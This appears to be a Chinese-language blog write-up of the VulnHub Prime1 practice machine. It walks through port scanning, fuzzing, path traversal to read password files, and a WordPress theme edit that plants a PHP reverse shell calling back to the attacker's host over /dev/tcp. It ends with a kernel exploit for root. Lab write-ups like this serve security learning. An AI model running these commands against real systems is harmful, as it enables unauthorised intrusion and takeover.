重生之渗透测试Prime1

Posted by Azeril on October 7, 2023

渗透测试Prime1

看了n天红队笔记,润来做做靶机,确实信息收集的能力提高
fuzz
dirb扫目录
内核提权

靶机:prime1 下载地址:https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

常规渗透

apr-scan l 
sudo nmap -sT --min-rate 10000 -p- 192.168.52.138 -oA a   扫描出的端口  22 和 80

用tcp扫描
sudo nmap -sT -sV -sC -O -p22,80 192.168.52.138 -oA a
用udp扫描
sudo nmap -sU -top-ports 22,80 192.168.52.138 -oA a
nmap漏洞脚本扫描
sudo nmap --script=vuln -p22,80 192.168.52.138 -oA

image-20231007143225800

看到了一些关于端口后面服务的信息

image-20231007143915710

udp扫出来一个68和631端口

image-20231007144220206

开始渗透大多情况22端口是排在后面的,先看80端口

发现就只有一张照片其他啥都没有(没思路那就扫描一下)

image-20231007144608150

/dev
/image.php
/wordpress/wp-login.php
/wordpress
妥妥的wordpress漏洞了

image-20231007144926414

dev的内容

hello
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking.          挖掘更深的东西

image.php也是一张图片

/wordpress/

image-20231007145511790

/wordpress/wp-login.php是一个登录框 账号肯定是victor就是密码还没找到

换了一个扫描软件还是不行

gobuster  dir -u http://192.168.52.138  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x html,php

继续用dirb进行扫描

dirb http://192.168.52.138 -X .zip,.txt 

image-20231007151108650

发现用gobuster也是可以扫出来的,加上txt

(重要的信息就是利用fuzz取模糊测试出参数,并且给出了一个location.txt文档)

└─# curl http://192.168.52.138/secret.txt                                
Looks like you have got some secrets.

Ok I just want to do some help to you. 

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 
//see the location.txt and you will get your next move//

location.txt直接访问是访问不到的(难道需要挂代理),这里可以先不管毕竟有个fuzz这条路

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.52.138/index.php?FUZZ=RedteamNotes

发现一堆 Chars 是147说明没用直接 –hh 147忽略

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.52.138/index.php?FUZZ=RedteamNotes

image-20231007161052989

发现了参数file咦逆推一下发现非常的合理(比较常规的参数名字)

└─# curl http://192.168.52.138/index.php?file                            
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>

Do something better <br><br><br><br><br><br>you are digging wrong file</html>
    提示说你能做的更好你挖错了文件

试了试image.php?file也还是不行(思路全无

看了看✌们的wp,就差一点上面我们不是获得了location.txt嘛,这里直接file=location.txt

└─# curl http://192.168.52.138/index.php?file=location.txt
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>

Do something better <br><br><br><br><br><br>ok well Now you reah at the exact parameter <br><br>Now dig some more for next one <br>use 'secrettier360' parameter on some other php page for more fun.
</html>
 使用secrettier360参数对每一个页面image index 

最后你获得了正确的参数,啊不理解啥也没给我呀(而且这个也不是密码)

                                                                                                                   ┌──(rootnode1)-[/home/kali]
└─# curl http://192.168.52.138/image.php?secrettier360
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br></html

又去看了看,发现都说了正确的参数(普通web给你个?file=你都能测../../etc/passwd为啥这里不测呢)

直接

curl http://192.168.52.138/image.php?secrettier360=../../../../etc/passwd
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
guest-s0wb1i:x:999:999:Guest:/tmp/guest-s0wb1i:/bin/bash
    /home/saket有密码

image-20231007163123330

但是尝试了n次的 secrettier360=/home/saket目录穿越也尝试了啥返回值都没有

脑瘫记录(打CTF没用不疯的bushi)

二个路径都说了有password.txt,发现了follow_the_ippsec密码

 └─# curl http://192.168.52.138/image.php?secrettier360=../../../home/saket/password.txt 
 <html>
 <title>HacknPentest</title>
 <body>
  <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
 </body>
 finaly you got the right parameter<br><br><br><br>follow_the_ippsec
 </html>

成功登陆进去

image-20231007163707503

在这里发现了一些php文件(本来思路是打算改然后写入一个php马,访问页面执行木马)但是发现失败了,不能保存!!!

image-20231007164315189

翻了n遍,终于找到了一个有提交按钮的php文件

image-20231007164802121

修改成功(接下来就是如何访问到这个secret.php文件即可)

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.137/4444 0>&1'"); ?>

这里需要了解一下wordpress模板的知识

/wordpress/wp-content/themes/twentynineteen/secret.php
themes往前面的路径是wordpress主题的固定路径,倒数第二个后面的是使用的主题的名字,最后一个是文件名

当前是twentynineteen主题

image-20231007165232971

点击方法就触发了反弹shell

image-20231007165327773

whoami发现是一个普通用户

sudo -l看一下有什么权限

www-data@ubuntu:/var/www/html/victor_undefeatable$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc

发现 enc的权限不够

ls -liah 发现是可以执行的 enc

image-20231007165743899

www-data@ubuntu:/home/saket$ uname -a
uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

看看定时目录,发现只有sh权限 没用/bin/bash

www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ cat /etc/crontab 
<ml/wordpress/wp-content/themes/twentynineteen$ cat /etc/crontab             
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
@reboot                 bash /root/t.sh
#
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ 

尝试使用内核提权

searchsploit Linux ubuntu 4.10-28

image-20231007170547321

英文翻译

第一个是 免usa...
Privilage Escalation是权限升级,后两个都可以
searchsploit Linux ubuntu -m 45010下载到本地

发现了编译方式

image-20231007171040633

sudo gcc 45010.c -o 45010

然后把文件传到靶机上

本地开启服务器
php -S 0:80
靶机
一般都在 /tmp目录下载(因为权限比较高)
wget http://192.168.52.137/45010.c
没用执行权限 chmod+x 45010.c

gcc 45010.c -o 45010-2先编译

然后./45010-2执行,提权成功

image-20231007171719887

然后看下有没有 python ,dpkg -l,发现有

生成一个交互式的

python -c "import pty;pty.spawn('/bin/bash')"

最后去root目录拿下flag

总结

渗透耗时 4个小时

首先扫端口,22 80,然后扫描80端口的目录,发现了 index.php image.php
用dirb指定后缀  .txt  发现了 secret.php
然后fuzz获得参数file= file=location.txt  发现了 那个secret360
然后 image.php?secre=../../获得了密码
登陆wordpress,写入一句话木马反弹shell成功
通过内核提权

nice!!!

另一种提权的方法

sudo -l 看当前权限
ls -liah/liuh 看当前目录的权限
find / -name '*backup*' 2>/dev/null | sort | less

sudo echo -n 'ippsec' | md5sum   生成字符串的md5值
    -n去掉换行符
awk -F '' '{print $1}'  以空格作为分割取第一个
sudo awk '{gsub(/ /,"\n");print}' CipherTypeRaw |sort | wc-l |uniq  所有的空格替换成换行  wc -l计算有多少行,uniq取唯一
    
od -A n -t x
dpkg -l | grep python

image-20231012150255031

openssl涉及enc(openssl可以实现:秘钥证书管理、对称加密和非对称加密 。)

openssl一般会有二个文件,enc.txt key.txt  用key来解密enc文本

image-20231012153524695

image-20231012153553723

下面的情况适用于,一个root调用/tmp中的文件,并且我们可以修改文件内容
chmod +x /tmp/challenge加成可执行

image-20231012154215228

-in filename指定要加密的文件存放路径

-out filename指定加密后的文件存放路径

-salt自动插入一个随机数作为文件内容加密默认选项

-e可以指明一种加密算法若不指的话将使用默认加密算法

-d解密解密时也可以指定算法若不指定则使用默认算法但一定要与加密时的算法一致

-a/-base64使用-base64位编码格式

-k 私钥
    
-hex使用16进制编码格式

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。